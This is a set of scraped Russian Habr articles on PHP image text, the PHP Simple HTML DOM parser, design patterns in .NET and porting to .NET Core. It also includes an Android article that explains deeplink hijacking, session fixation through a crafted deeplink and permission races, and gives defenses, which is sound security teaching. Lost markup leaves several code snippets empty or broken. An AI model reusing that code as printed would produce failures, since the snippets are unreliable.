С любыми вопросами по языку Rust вам смогут помочь в [русскоязычном Телеграм-чате](https://t.me/rustlang_ru) или же в аналогичном [чате для новичковых вопросов](https://t.me/rust_beginners_ru). Если у вас есть вопросы по переводам или хотите помогать с ними, то обращайтесь в [чат переводчиков](https://t.me/rustlang_ru_translations).
Так же можете поддержать нас на opencollective: <https://opencollective.com/rust-lang-ru>.
Данную статью совместными усилиями перевели Belanchuk, [andreevlex](https://habr.com/ru/users/andreevlex/) и [funkill](https://habr.com/ru/users/funkill/). | https://habr.com/ru/post/528204/ | null | ru | null |
# Вертикальный текст
Потребовалось мне использовать вертикальное расположения текста для обозначения заголовков таблицы. Поиски в интернете привели только к устаревшим или еще не утвержденным стандартам, фильтрам IE и не поддерживающих кириллицу или Mozilla Firefox SVG.
Поэтому пришлось самому решать проблему. Немножко некрасиво получилось, но меня результат устроил.
`function vtext($text) //Вертикальный текст
{
if (!file\_exists(\_SITE.'/style/img/crap/'.str2url($text).'.png')) {
// echo 'Создаём файл '.str2url($text).'.png
';
$pname = str2url($text);
$txt = win2uni($text);
$coord = imagettfbbox(\_FONT\_SIZE, 0, \_FONT\_NAME, $txt);
/\* возвращает массив, содержащий всевозможные координаты минимального прямоугольника, в который можно вписать данный текст. Вычисляем ширину и высоту текста:
\*/
$width = $coord[2] - $coord[0];
$height = $coord[1] - $coord[7];
$im=ImageCreate ($width,$height+(\_FONT\_SIZE/4));
$background\_color=ImageColorAllocate($im,255,255,255);
$text\_color=ImageColorAllocate ($im,0,0,0);
imagettftext($im,\_FONT\_SIZE,0,0-(\_FONT\_SIZE/10),$height,$text\_color,\_FONT\_NAME,$txt);
$im2 = imagerotate ($im, 90, 0);
ImagePNG($im2,$\_SERVER['DOCUMENT\_ROOT'].'/style/img/crap/'.$pname.'.png');
ImageDestroy($im);
ImageDestroy($im2);
$to\_return = '.\_SITE.'/style/img/crap/'.$pname.'.png" />';
echo $to\_return;
}
}
function win2uni($s)
{
$s = str\_replace('і','i',$s);
$s = str\_replace('І','I',$s);
$s = convert\_cyr\_string($s,'w','i'); // преобразование win1251 -> iso8859-5
// преобразование iso8859-5 -> unicode:
for ($result='', $i=0; $i<strlen($s); $i++) {
$charcode = ord($s[$i]);
$result .= ($charcode>175)?"&#".(1040+($charcode-176)).";":$s[$i];
}
return $result;
}`
Использовать — естественно вызывать функцию с параметром — текстом, который нужно повернуть.
`vtext('Вертикальный текст');`
Единственное что — не работает со всем украинским алфавитом. Частично исправил заменой украинской "і" на английскую «i». Если есть варианты по исправлению данной проблемы — подскажите.
Если есть вариант делать это проще — подскажите.
P.S. Для создания имен файлов использую функцию транслитерации:
`php<br/
function rus2translit($string) {
$converter = array(
'а' => 'a', 'б' => 'b', 'в' => 'v',
'г' => 'g', 'д' => 'd', 'е' => 'e',
'ё' => 'e', 'ж' => 'zh', 'з' => 'z',
'и' => 'i', 'й' => 'y', 'к' => 'k',
'л' => 'l', 'м' => 'm', 'н' => 'n',
'о' => 'o', 'п' => 'p', 'р' => 'r',
'с' => 's', 'т' => 't', 'у' => 'u',
'ф' => 'f', 'х' => 'h', 'ц' => 'c',
'ч' => 'ch', 'ш' => 'sh', 'щ' => 'sch',
'ь' => '\'', 'ы' => 'y', 'ъ' => '\'',
'э' => 'e', 'ю' => 'yu', 'я' => 'ya',
'і' => 'ui', 'ї' => 'uyi', 'є' => 'uye',
'ґ'=>'ugi',
'А' => 'A', 'Б' => 'B', 'В' => 'V',
'Г' => 'G', 'Д' => 'D', 'Е' => 'E',
'Ё' => 'E', 'Ж' => 'Zh', 'З' => 'Z',
'И' => 'I', 'Й' => 'Y', 'К' => 'K',
'Л' => 'L', 'М' => 'M', 'Н' => 'N',
'О' => 'O', 'П' => 'P', 'Р' => 'R',
'С' => 'S', 'Т' => 'T', 'У' => 'U',
'Ф' => 'F', 'Х' => 'H', 'Ц' => 'C',
'Ч' => 'Ch', 'Ш' => 'Sh', 'Щ' => 'Sch',
'Ь' => '\'', 'Ы' => 'Y', 'Ъ' => '\'',
'Э' => 'E', 'Ю' => 'Yu', 'Я' => 'Ya',
'І' => 'uI', 'Ї'=>'uYi', 'Є'=>'uYe',
'Ґ'=>'uGi'
);
return strtr($string, $converter);
}
function str2url($str) {
// переводим в транслит
$str = rus2translit($str);
// в нижний регистр
$str = strtolower($str);
// заменям все ненужное нам на "-"
$str = preg_replace('~[^-a-z0-9_.]+~u', '-', $str);
// удаляем начальные и конечные '-'
$str = trim($str, "-");
return $str;
}
?>` | https://habr.com/ru/post/51438/ | null | ru | null |
# Безопасная передача данных между двумя приложениями
Всем привет, сегодня я хотел бы вам рассказать о некоторых вариантах передачи данных между двумя андроид приложениями и рассмотреть их с точки зрения безопасности. Я решил написать эту статью по двум причинам. Первая — я начал часто сталкиваться с непониманием разработчиков механизмов работы компонентов андроид приложения. Вторая — я перестал понимать на чем основан выбор того или иного механизма при реализации фич и захотел донести, как он должен выглядеть на минималках.
###### Задача
У нас есть 2 приложения, которые обращаются к одному API. Клиенты могут обращаться в API по токену доступа (sessionId). Необходимо реализовать бесшовный переход из одного приложения в другое. Для этого между ними нужно что-то пошарить, для примера пусть это будет sessionId.
###### Вариант #1: QUERY DEEPLINK
Самый очевидный вариант — передавать токен в Query DeepLink. Выглядеть это будет примерно так:
`slave://main?sessionId=686A885A4FB644053C584B9BE2A70C7D`
В этом случае реципиент сможет извлечь sessionId и пользоваться им, не запрашивая у пользователя авторизацию. Со стороны разработчика выглядит, что задача выполнена, но давайте копнем немного глубже.
#### DeepLink Hijacking
Поскольку любое приложение может зарегистрировать схему tinkoff://, OS может открыть не то приложение. Это возможно из-за того, что нет никакой регистрации и ограничений на использование схем. Вредоносное приложение может зарегистрировать схему tinkoff:// и перехватить запрос к приложению Tinkoff и запустить себя. В этом случае sessionId попадет к злоумышленникам, и ваш аккаунт будет скомпрометирован. Кроме того, DeepLink Hijacking позволяет проводить фишинг, например, отображая поля для ввода логина и пароля.
Концептуально процесс выглядит так:
Есть 2 решения этой проблемы. Первое — AppLinks-технология больше не позволяет разработчикам настраивать схему, вместо этого используются http/https. В этом случае OS берет ссылку [slave.com/profile](https://slave.com/profile) и связывается с хостом slave.com для проверки. Второе — Intent URL — вместо вызова slave:// вызывается intent://, куда передается уникальный идентификатор приложения, которое нужно запустить. Выглядит это так:
```
intent://main/#Intent;scheme=slave;package=com.example.slave.client.android;end"
```
В этом случае уже не получится перехватить запуск приложения, так как указан конкретный пакет. Все равно остается проблема, что пользователь может поставить приложение из стороннего источника с таким же packageId, как у вашего slave. В таком случае, если у вас не стояло легитимное приложение slave, вредоносное приложение установится и получит ваш токен.
#### Session Fixation
Это атака, при которой злоумышленник вынуждает клиента установить сеанс с целевым ПО, используя sessionId, предоставленный злоумышленником. Как только пользователь аутентифицируется, злоумышленник сможет использовать этот, уже привилегированный, идентификатор в своих целях. Атака использует тот факт, что целевое ПО использует тот же sessionId после повышения привилегий.
Как это выглядит в нашем случае:
1. злоумышленник получает анонимную сессию у приложения
2. кидает красиво письмо жертве от лица банка, в котором ему предлагается перейти в личный кабинет
3. при переходе по ссылке мы попадаем на DeepLink с сессией злоумышленника slave://main?sessionId=686A885A4FB644053C584B9BE2A70C7D
4. мобильное приложение берет сессию, понимает, что у нее не хватает прав и просит пользователя пройти аутентификацию
5. пользователь ее проходит, у сессии повышаются права
6. пользователь в приложении, злоумышленник с привилегированной сессией, профит
Правильно было бы это пофиксить на API, выдавая другой sessionId после повышения привилегий, но мы пишем мобильное приложение. И наш путь — это отказаться от передачи токена от master к slave. Плюс, это даст нам защиту в глубину и, если на API что-то сломается, и токены не будут меняться при повышении привилегий, то атака все равно будет невозможна.
#### 3rd Party Leakage
Еще один минус этого варианта. Многие используют сторонние сервисы для DeepLink из-за удобства генерации ссылок, аналитики и прочих крутых штук. В этом случае вы просто дарите ваш токен сторонней компании.
###### Вариант #2: CONTENT PROVIDER
Как будем делать? Определим у master Content-Provider и заставим slave сходить в этот Content-Provider за токеном.
Таким образом, мы избавляемся от риска передачи не тому приложению токена в случае DeepLink Hijacking и делаем невозможным атаку Session Fixation. Но у нас появляются другие проблемы — в текущем варианте вообще любое приложение может запросить токен в любой момент времени, даже если мы не инициировали его запуск.
#### Protection Level
В большинстве случаев вам нужно проверить, что slave подписано тем же ключом, что и master, то есть принадлежат одному автору. Для этого случая в менеджере пакетов есть метод checkSignatures, который проверяет подписи приложений. Чтобы воспользоваться этой функцией необходимо добавить permission с protectionLevel=«signature» у Content-Provider в манифесте приложения:
```
```
Схема почти не изменится с предыдущего рисунка, только появится гарантия, что доступ к токену получат только приложения с подписью от того же автора.
#### Permission Race Condition
Есть одна очень неприятная особенность в том, что имена у permission не уникальные, чем может воспользоваться вредоносное приложение и зарегать permission с нашим именем и protectionLevel=«normal» до нас. В этом случае, при установке нашего приложения, в OS уже будет существовать permission и он не перезапишется. Следовательно, наш content-provider останется без защиты и с разрешенным доступом от любого приложения.
#### Different Signatures
К сожалению, далеко не всегда приложения подписаны одним ключом, например, какое-то из приложений куплено, или «так исторически сложилось», но бесшовный переход все равно нужен. В этом случае мы берем проверку подписи на себя.
Как это можно реализовать:
У Content-Provider есть метод getCallingPackage(), по которому мы можем получить packageId обратившегося за данными приложения, а по packageId можем получить список подписей и проверить их с встроенными.
```
String pkg = this.getCallingPackage();
PackageInfo pkgInfo = pkgmgr.getPackageInfo(pkg, GET_SIGNATURES);
Signatures[] signatures = pkgInfo.signatures;
for (Signature sig: signatures) {
if (sig.equals(TRUSTED_SIGNATURE)) {
// trusted signature found, trust the application
}
}
```
Кажется, что мы сделали все идеально, но нет.
#### Fake id vulnerability
Проблема заключается в том, что когда Android создает chain-of-trust, процесс проверки сравнивает только subject, а не проверяет подпись в поле certificate’s signer. В результате злоумышленник может построить chain-of-trust без фактической подписи.
Из-за этой ошибки генерируется неправильная цепочка сертификатов, которая может включать в себя легитимные сертификаты, встроенные в APK, но фактически не использовавшиеся для подписи приложения. В конце оставлю ссылку на коммит, который исправляет данную уязвимость. Проблема исправлена в версии android 4.4, так что нам остается повысить API Level до 19.
###### Выводы
Сегодня мы разобрали, как должен проходить анализ фич при разработке.
Также разобрали варианты передачи секрета между двумя приложениями, в процессе которого разбирали проблемы каждого варианта и придумывали способы их избежать.
Всем безопасных приложений!
###### Ссылки
* Fake id vulnerability fix [commit](https://android.googlesource.com/platform/libcore/+/android-cts-4.1_r4%5E%21/)
* [Презентация](https://www.blackhat.com/docs/us-14/materials/us-14-Forristal-Android-FakeID-Vulnerability-Walkthrough.pdf) Fake id vulnerability
* CWE: [Session Fixation](https://cwe.mitre.org/data/definitions/384.html) | https://habr.com/ru/post/448198/ | null | ru | null |
# PHP HTML DOM парсер с jQuery подобными селекторами
Добрый день, уважаемые хабровчане. В данном посте речь пойдет о совместном проекте [S. C. Chen](http://sourceforge.net/users/me578022) и [John Schlick](http://sourceforge.net/users/john_schlick) под названием [PHP Simple HTML DOM Parser](http://sourceforge.net/projects/simplehtmldom/) (ссылки на sourceforge).
Идея проекта — создать инструмент позволяющий работать с html кодом используя jQuery подобные селекторы. Оригинальная идея принадлежит [Jose Solorzano's](http://php-html.sourceforge.net/) и реализована для php четвертой версии. Данный же проект является более усовершенствованной версией базирующейся на php5+.
В обзоре будут представлены краткие выдержки из [официального мануала](http://simplehtmldom.sourceforge.net/manual.htm), а также пример реализации парсера для twitter. Справедливости ради, следует указать, что похожий пост [уже присутствует](http://habrahabr.ru/post/30781/) на habrahabr, но на мой взгляд, содержит слишком малое количество информации. Кого заинтересовала данная тема, добро пожаловать под кат.
##### Получение html кода страницы
```
$html = file_get_html('http://habrahabr.ru/'); //работает и с https://
```
Товарищ [Fedcomp](https://habrahabr.ru/users/fedcomp/) дал [полезный комментарий](http://habrahabr.ru/post/176635/#comment_6137067) насчет file\_get\_contents и 404 ответа. Оригинальный скрипт при запросе к 404 странице не возвращает ничего. Чтобы исправить ситуацию, я добавил проверку на get\_headers. Доработанный скрипт можно [взять тут](http://yadi.sk/d/EDpBwgxt42hAI).
##### Поиск элемента по имени тега
```
foreach($html->find('img') as $element) { //выборка всех тегов img на странице
echo $element->src . '
'; // построчный вывод содержания всех найденных атрибутов src
}
``` | https://habr.com/ru/post/176635/ | null | ru | null |
# .NET и паттерны проектирования
Шаблон проектирования или паттерн — повторимая архитектурная конструкция, представляющая собой решение проблемы проектирования в рамках некоторого часто возникающего контекста.
Кажется, это определение мы слышали тысячу раз… Помимо знания терминов и паттернов интересно знать, как они применяются в реальных проектах.
В статье я рассмотрю несколько наиболее популярных паттернов используемых в .NET. Некоторые из них глубоко интегрированы в инфраструктуру .NET, в то время как другие просто применяются при проектировании базовых классов в BCL.
Паттернам проектирования посвящен не один десяток книг, но одна книга стоит особняком и это знаменитая книга «Банды четырех». Поэтому для большего понимания ситуации я буду приводить небольшое описание из этой книги.
Мы рассмотрим следующие шесть паттернов:
1. наблюдатель;
2. итератор;
3. декоратор;
4. адаптер;
5. фабрика;
6. стратегия.
Итак, начнем.
#### Наблюдатель
Пожалуй, наиболее известный паттерн, который применен в .NET — это наблюдатель. Известен он потому, что заложен в основу делегатов, которые являются неотъемлемой частью .NET с самого его появления. Тяжело не оценить их вклад в объектную модель .NET, особенно учитывая то, во что они вылились в более поздних версиях (лямбды, замыкания, и т.д.).
**Назначение паттерна наблюдатель из GOF:** определяет зависимость типа «один ко многим» между объектами таким образом, что при изменении состояния одного объекта все зависящие от него оповещаются об этом и автоматически обновляются.
Простейшая реализация данного паттерна на языке C# может выглядеть примерно так:
**Простой наблюдатель**
```
public interface IObserver // Интерфейс наблюдателя
{
void Notify();
}
public abstract class Subject // Субъект
{
private List observers = new List();
public void Add(IObserver o)
{
observers.Add(o);
}
public void Remove(IObserver o)
{
observers.Remove(o);
}
public void Notify() // Оповестить всех наблюдателей
{
foreach (IObserver o in observers)
o.Notify();
}
}
```
Как я уже сказал в платформе .NET абстракцию наблюдатель реализуют делегаты. Для более удобной работы с делегатами в C# используются события. В следующем примере будем их использовать:
**Наблюдатель в .NET**
```
public delegate void MyEventHandler(); // Пользовательский тип делегата
public class Subject
{
public Subject() { }
public MyEventHandler MyEvent; // Событие
public void RaiseEvent() // Вызвать все методы ассоциированные с событием
{
MyEventHandler ev = MyEvent;
if (ev != null)
ev();
}
}
static void Main(string[] args)
{
Subject s = new Subject();
s.MyEvent += () => Console.WriteLine("Hello habrahabr"); // присоединить делегат
s.MyEvent += () => Console.WriteLine("Hello world"); // присоединить делегат
s.RaiseEvent(); // вызвать все делегаты
Console.ReadKey();
}
```
Аналогия с паттерном наблюдатель на лицо. Событие выступает в роли субъекта, в то время как делегаты в роли наблюдателей.
**На заметку**
У кода описанного выше есть один недостаток: при использовании лямбда выражений не получится отсоединить делегат, то есть код
```
s.MyEvent -= () => Console.WriteLine("Hello habrahabr");
```
не удалит данный делегат, поскольку он является другим экземпляром. Для дальнейшего отсоединения делегата придется сохранить делегат (лямбда выражение) в переменной.
```
static void Main(string[] args)
{
Subject s = new Subject();
MyEventHandler myEv1 = () => Console.WriteLine("Hello habarhabr");
MyEventHandler myEv2 = () => Console.WriteLine("Hello world");
s.MyEvent += myEv1;
s.MyEvent += myEv2;
s.MyEvent -= myEv1;
s.RaiseEvent(); // будет вызван только один метод
Console.ReadKey();
}
```
В .NET 4.0 появились интерфейсы, позволяющие напрямую реализовать паттерн наблюдатель. Они выглядят так:
```
public interface IObservable
{
IDisposable Subscribe(IObserver observer);
}
public interface IObserver
{
void OnCompleted();
void OnError(Exception error);
void OnNext(T value);
}
```
Как вы видите, интерфейс IObservable реализован немного иначе, нежели наш наблюдатель. Вместо того, чтобы иметь методы по добавлению и удалению наблюдателей он имеет только метод который регистрирует наблюдателя. Метод возвращает реализацию IDisposable, позволяющую наблюдателям отменять уведомления в любое время до того, как поставщик перестанет их отправлять. Теперь можно использовать лямбда выражения, и затем отсоединять их вызвав метод Dispose.
**На заметку**
#### Итератор
Следующий не менее популярный по использованию в .NET паттерн — итератор.
**Назначение паттерна итератор из GOF:** предоставляет способ последовательного доступа ко всем элементам составного объекта, не раскрывая его внутреннего представления.
На платформе .NET за реализацию паттерна итератор отвечают два интерфейса: IEnumerable и IEnumerator
```
public interface IEnumerable
{
IEnumerator GetEnumerator();
}
public interface IEnumerator
{
object Current { get; }
bool MoveNext();
void Reset();
}
```
а так же их обобщенные аналоги:
```
public interface IEnumerable : IEnumerable
{
IEnumerator GetEnumerator();
}
public interface IEnumerator : IDisposable, IEnumerator
{
T Current { get; }
}
```
Для того чтобы иметь возможность итерировать некоторую сущность с помощью цикла foreach в ней необходимо реализовать интерфейс IEnumerable<>, а так же создать сам итератор — класс /структуру реализующую интерфейс IEnumerator<>.
С учетом того, что в C# 2.0 появились блоки итераторов, используя ключевое слово **yield**, создание пользовательских типов реализующих интерфейс IEnumerator<> теперь возникает редко (компилятор делает это за нас).
Цикл foreach работает бок о бок с паттерном итератор. Следующий код
```
foreach (var item in Enumerable.Range(0, 10))
{
Console.WriteLine(item);
}
```
это просто синтаксический сахар для кода:
```
IEnumerator enumerator = Enumerable.Range(0, 10).GetEnumerator();
try
{
while (enumerator.MoveNext())
{
int item = enumerator.Current;
Console.WriteLine(item);
}
}
finally
{
if (enumerator != null)
{
enumerator.Dispose();
}
}
```
Таким образом, паттерн итератор заложен в основу языка C#, поскольку его языковая конструкция (foreach) использует его.
**На заметку**
О том, что цикл foreach на самом деле не требует, чтобы итерируемая сущность реализовывала интерфейс IEnumerable (а требует лишь наличие определенных методов с заданными сигнатурами) писали многие, поэтому я говорить об этом не буду. У Сергея Теплякова [SergeyT](http://habrahabr.ru/users/sergeyt/) есть хороший [пост](http://habrahabr.ru/post/148905/), посвященный именно работе цикла foreach.
В .NET существуют несколько оптимизаций, касающихся цикла foreach. Поскольку при каждой итерации создается объект итератор, то это может негативно сказаться на сборке мусора, особенно если будет несколько вложенных циклов foreach, поэтому при итерировании массивов и строк (типов глубоко интегрированных в CLR) цикл foreach разворачивается в обычный цикл for.
**На заметку**
#### Декоратор
Паттерн №3 — декоратор объектов.
**Назначение паттерна декоратор из GOF:** динамически добавляет объекту новые обязанности. Является гибкой альтернативой порождению подклассов с целью расширения функциональности.
Абстракцию декоратор в .NET представляет класс System.IO.Stream и его наследники. Рассмотрим следующий код:
```
public static void WriteBytes(Stream stream)
{
int oneByte;
while ((oneByte = stream.ReadByte()) >= 0)
{
Console.WriteLine(oneByte);
}
}
static void Main(string[] args)
{
var memStream = new MemoryStream(new byte[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 });
WriteBytes(memStream);
var buffStream = new BufferedStream(memStream);
WriteBytes(buffStream);
Console.ReadLine();
}
```
Метод WriteBytes работает с любым потоком, но делает это не всегда эффективно. Читать с диска по одному байту не очень хорошо, поэтому мы можем использовать класс BufferedStream, который считывает данные блоком, а потом быстро их возвращает. Класс BufferedStream в конструкторе принимает тип Stream (любой поток), тем самым оборачивая (декорируя) его в более эффективную оболочку. BufferedStream переопределяет основные методы класса Stream, такие как Read и Write, чтобы обеспечить более широкую функциональность.
Класс System.Security.Cryptography.CryptoStream позволяет шифровать и расшифровывать потоки на лету. Он так же принимает в конструкторе параметр с типом Stream, оборачивая его в свою оболочку.
Для любого потока, мы можем добавить возможность эффективного считывания, окружив его BufferedStream, без изменения интерфейса доступа к данным. Поскольку мы не наследуем функциональность, а лишь «украшаем» ее, то можем это сделать во время выполнения, а не при компиляции как это было бы, если мы использовали наследование.
#### Адаптер
**Назначение паттерна адаптер из GOF:** преобразует интерфейс одного класса в интерфейс другого, который ожидают клиенты. Адаптер обеспечивает совместную работу классов с несовместимыми интерфейсами, которая без него была бы невозможна.
COM и .NET имеют различную внутреннюю архитектуру. Поэтому необходимо бывает адаптировать один интерфейс к другому. Среда CLR предоставляет доступ к COM-объектам через посредник, называемый вызываемой оболочкой времени выполнения (RCW).
Среда выполнения создает по одной вызываемой оболочке времени выполнения для каждого COM-объекта, независимо от числа существующих ссылок на этот объект.
Среди прочих операций, вызываемая оболочка времени выполнения осуществляет маршалинг данных между управляемым и неуправляемым кодом от имени, упакованного в оболочку объекта. В частности, вызываемая оболочка времени выполнения выполняет маршалинг аргументов и возвращаемых значений метода, если данные, которыми обмениваются клиент и сервер, представлены в них по-разному.
Например, когда клиент .NET передает в неуправляемый объект как часть аргумента тип String, оболочка преобразует эту строку в тип BSTR ([пост](http://habrahabr.ru/post/172627/), в котором я описывал особенности строк в .NET). Если COM-объект возвращает управляемому вызывающему объекту данные типа BSTR, вызывающий объект получит данные типа String. И клиент, и сервер отправляют и получают данные в понятном им представлении.
Фактически, RCW — это адаптер, преобразующий один интерфейс к другому.
#### Фабрика
Пятый паттерн — это своего рода фабрика.
**Назначение паттерна фабрика из GOF:** предоставляет интерфейс для создания семейств взаимосвязанных или взаимозависимых объектов, не специфицируя их конкретных классов.
Класс **System.Convert** содержит набор статических методов, которые позволяют создавать объекты без явного вызова их конструкторов, и работает как фабрика. Для преобразования целого числа в логическое, например, мы можем вызвать и передать в метод Convert.ToBoolean в качестве параметра целое число. Возвращаемое значение этого метода будет истина, если число было ненулевым и ложь в противном случае. Другие методы преобразования типов работают аналогично.
Такая стратегия для создания новых экземпляров объектов известна как шаблон Фабрика. Мы можем не вызывая конструктора попросить у фабрики создать нужный объект. Таким образом, паттерн Фабрика может скрыть сложность создания объекта. Если мы хотим изменить детали создания объекта, нужно всего лишь изменить саму фабрику, нам не придется менять каждое место в коде, в котором вызывается конструктор.
Метод **Activator.CreateInstance** в сочетании с информацией о типах реализует абстрактную фабрику классов, т.е. такую, которая умеет создавать экземпляры любых типов.
#### Стратегия
**Назначение паттерна стратегия из GOF:** определяет семейство алгоритмов, инкапсулирует каждый из них и делает их взаимозаменяемыми. Стратегия позволяет изменять алгоритмы независимо от клиентов, которые ими пользуются.
Хорошим примером применения этого простенького паттерна является сортировка массивов. Одна из перегрузок метода Array.Sort принимает параметр типа IComparable. Используя этот интерфейс, мы можем создать целую серию алгоритмов сортировки так называемых стратегий, которые не зависят друг от друга, и которые легко заменимы.
```
public interface IComparable
{
int CompareTo(T other);
}
```
Код сортировки фактически не зависит от алгоритмов сравнения элементов и может оставаться неизменным.
Сюда так же можно отнести методы Array.BinarySearch, который так же принимает интерфейс IComparable и метод Array.Find, который принимает делегат Predicate. Тем самым, варьируя различные делегаты (стратегии) мы можем менять поведение метода и получать необходимый нам результат.
В общем, паттерн стратегия применяется сплошь и рядом. До написания этой статья я особо и не задумывался, что использую паттерн стратегия при сортировки массивов разными компараторами.
#### Заключение
Теперь, когда мы рассмотрели некоторые паттерны, используемые в .NET Framework, я думаю вам должно стать еще легче распознать их в коде, с которым вы работаете. Тяжело не оценить вклад событий и итераторов в язык C# и инфраструктуру .NET вообще, поэтому знать, что это реализация классических шаблонов проектирования просто необходимо.
Спасибо за прочтение. Надеюсь, статья оказалась полезной. | https://habr.com/ru/post/191934/ | null | ru | null |
# Перенос десктопных приложений на .NET Core
С тех пор, как я начала работать с сообществом над переносом десктопных приложений с .NET Framework на .NET Core, я заметила, что существует «два лагеря»: представители одного хотят очень простой и короткий список инструкций для переноса своих приложений на .NET Core, в то время как представители другого предпочитают более принципиальный подход с большим количеством исходной информации. Вместо того, чтобы писать документ по типу «швейцарского армейского ножа», мы собираемся опубликовать два сообщения в блоге, по одному для каждого «лагеря»:
* **Данный пост — простой случай**. Он ориентирован на простые инструкции и небольшие приложения и рассматривает самый простой способ переноса приложения на .NET Core.
* **Позднее мы опубликуем еще один пост для более сложных случаев**. В нем основное внимание будет уделено нетривиальным приложениям, таким как WPF-приложение с зависимостями от WCF и сторонних UI-пакетов.
Если вы предпочитаете смотреть видео, а не читать, то вот видео, где я делаю все, что описано ниже.
Шаг 0 – Предварительные условия
-------------------------------
Для переноса десктопных приложений на Core понадобятся [.NET Core 3](https://dotnet.microsoft.com/download) и Visual Studio 2019.
Шаг 1 – Запустите Portability Analyzer
--------------------------------------
Перед переносом следует проверить насколько совместимо ваше приложение с .NET Core. Для этого загрузите и запустите [.NET Portability Analyzer](https://blogs.msdn.microsoft.com/dotnet/2018/08/08/are-your-windows-forms-and-wpf-applications-ready-for-net-core-3-0/).
* На первой вкладке, Portability Summary, если в столбце .NET Core все значения стоят на 100% (все выделено зеленым), ваш код полностью совместим, и вы можете перейти к Шагу 2.
* Если у вас есть значения менее 100%, сначала посмотрите на все сборки, которые не являются частью вашего приложения. Для них нужно проверить, предоставляют ли их авторы версии для .NET Core или .NET Standard.
* Теперь посмотрите на другую часть сборок, которая поступает из вашего кода. Если в Portability Report не указано ни одной сборки, перейдите к Шагу 2. Как только вы это сделаете, откройте вкладку Details, отфильтруйте таблицу, кликнув столбец Assembly и сосредоточьтесь только на тех, которые связаны с вашим приложением. Просмотрите список и рефакторинг кода, чтобы прекратить использование API или заменить использование API с альтернативами .NET Core.
Шаг 2 – Миграция .csproj в SDK-стиле
------------------------------------
В **Solution Explorer** кликните правой кнопкой мыши свой проект (не решение!). Вы видите **Edit Project File**? Если да, то вы уже используете файл проекта в стиле SDK, поэтому вам следует перейти к **Шагу 3**. Если нет, сделайте следующее:
* Проверьте в **Solution Explorer**, содержит ли проект файл *packages.config*. Если его нет, то никаких действий не требуется, однако если он есть, кликните правой кнопкой мыши *packages.config* и выберите **Migrate packages.config to PackageReference**. Затем нажмите **OK**.
* Откройте файл проекта, кликнув правой кнопкой мыши по проекту и выбрав **Unload Project**. Затем кликните правой кнопкой мыши проект и выберите **Edit <имя вашего проекта>.csproj**.
* Скопируйте куда-нибудь содержимое файла проекта, например, в Блокнот, чтобы позже производить в нем поиск.
* Удалите все из файла проекта, открытого в Visual Studio (я знаю, это звучит агрессивно, но мы добавим только необходимый контент из копии, которую мы только что сделали в несколько шагов). Вместо только что удаленного текста вставьте следующий код.
Для приложения на WinForms:
```
WinExe
net472
true
false
```
Для приложения на WPF:
```
WinExe
net472
true
false
```
* Найдите в Блокноте *PackageReference*. Если вы ничего не нашли, двигайтесь дальше. Если вы нашли *PackageReference*, скопируйте весь *ItemGroup*, содержащий *PackageReference*, в файл проекта, открытого в Visual Studio, прямо под строками, вставленными на шаге выше. Сделайте это для каждого элемента *PackageReference*, который вы нашли. Скопированный блок должен выглядеть так:
```
3.11.0
```
* Теперь сделайте то же самое, что и выше, для *ProjectReference*. Если вы ничего не нашли, двигайтесь дальше. Если вы нашли какие-либо элементы *ProjectReference*, они будут выглядеть так:
```
{7bce0d50-17fe-4fda-b6b7-e7960aed8ac2}
WindowsFormsApp1
```
* Вы можете удалить строки со свойствами *Project* и *Name*, так как они не нужны в новом стиле файла проекта. Так что для каждого *ProjectReference*, что вы нашли (если есть), копируйте только *ItemGroup* и *ProjectReference*.
```
```
* Сохраните все. Закройте файл .csproj в Visual Studio. Кликните правой кнопкой мыши свой проект в **Solution Explorer** и выберите **Reload Project**. Перестройте и убедитесь, что нет ошибок.
Отличная новость, вы только что обновили файл своего проекта до нового SDK-стиля! Проект все еще таргетирован на .NET Framework, но теперь вы сможете перенастроить его на .NET Core.
Шаг 3 – Ретаргет на .NET Core
-----------------------------
Откройте файл проекта, дважды кликнув его в **Solution Explorer**. Найдите свойство *TargetFramework* и измените значение на *netcoreapp3.0*. Теперь ваш файл проекта должен выглядеть так:
```
WinExe
netcoreapp3.0
...
...
```
Постройте и запустите свой проект. **Поздравляем, вы перенесли его на .NET Core 3!**
Исправление ошибок
------------------
Если вы столкнулись с такими ошибками, как
```
The type or namespace could not be found
```
или
```
The name does not exist in the current context
```
а ваш Portability Report отображался зеленым, то знайте – их легко исправить, просто добавив пакет NuGet с соответствующей библиотекой. Если же вам не удается найти пакет NuGet с отсутствующей библиотекой, то попробуйте обратиться к [Microsoft.Windows.Compatibility](https://docs.microsoft.com/dotnet/core/porting/windows-compat-pack). Этот пакет добавляет ~21K API .NET из .NET Framework.
Работа с конструкторами
-----------------------
Хотя пользовательский интерфейс приложения можно редактировать с помощью кода, разработчики обычно предпочитают использовать визуальные конструкторы. С .NET Core нам пришлось изменить архитектуру работы конструкторов с проектами .NET Core:
* Конструктор WPF уже находится в preview-режиме, и мы работаем над добавлением к нему дополнительных функций.
* Конструктор WinForms для .NET Core будет доступен позже, так что пока вы можете использовать конструктор WinForms для .NET Framework в качестве обходного пути.
Вот как можно использовать конструктор WinForms для .NET Framework:
1. Скопируйте файл .csproj (допустим, *MyProject.csproj*), дайте ему другое имя, например, *MyProject.NetFramework.csproj* и поместите его рядом с существующим файлом проекта.
2. Убедитесь, что ваш проект закрыт в Visual Studio, откройте новый проект *MyProject.NetFramework.csproj*.
В **Solution Explorer** щелкните правой кнопкой мыши свой проект и выберите **Properties**. На вкладке Application (должна открываться по умолчанию) задайте для **Assembly name** и **Default namespace** те же значения, что и в исходном проекте (удалите “.NetFramework” из имен).
Сохраните это решение рядом с существующим решением.
3. Откройте новый файл проекта и измените *TargetFramework* на *net472*.
4. Теперь, когда вам нужно использовать конструктор WinForms, загрузите ваш проект с *MyProject.NetFramework.csproj*, и вы сможете начать работу с конструктором .NET Framework. Когда вы с ним закончите, закройте и откройте ваш проект с файлом проекта .NET Core.
5. Это всего лишь обходной путь до тех пор, пока конструктор WinForms для .NET Core не будет готов.
Почему стоит переходить на .NET Core
------------------------------------
Посмотрите видео, где мы со Скоттом Хантером (Scott Hunter) рассказываем обо всех новинках, связанных с .NET Core 3. [Переход на .NET Core 3.0](https://www.youtube.com/watch?v=upVQEUc_KwU&feature=youtu.be). | https://habr.com/ru/post/454508/ | null | ru | null |
# Кодирование с изъятием информации. Часть 2-я, математическая
### Введение
В [предыдущей](https://habrahabr.ru/post/318848/) части рассматривалась принципиальная возможность кодирования при котором, в случае, если можно выделить общую часть у ключа и сообщения, то передавать можно меньше информации чем есть в исходном сообщении.
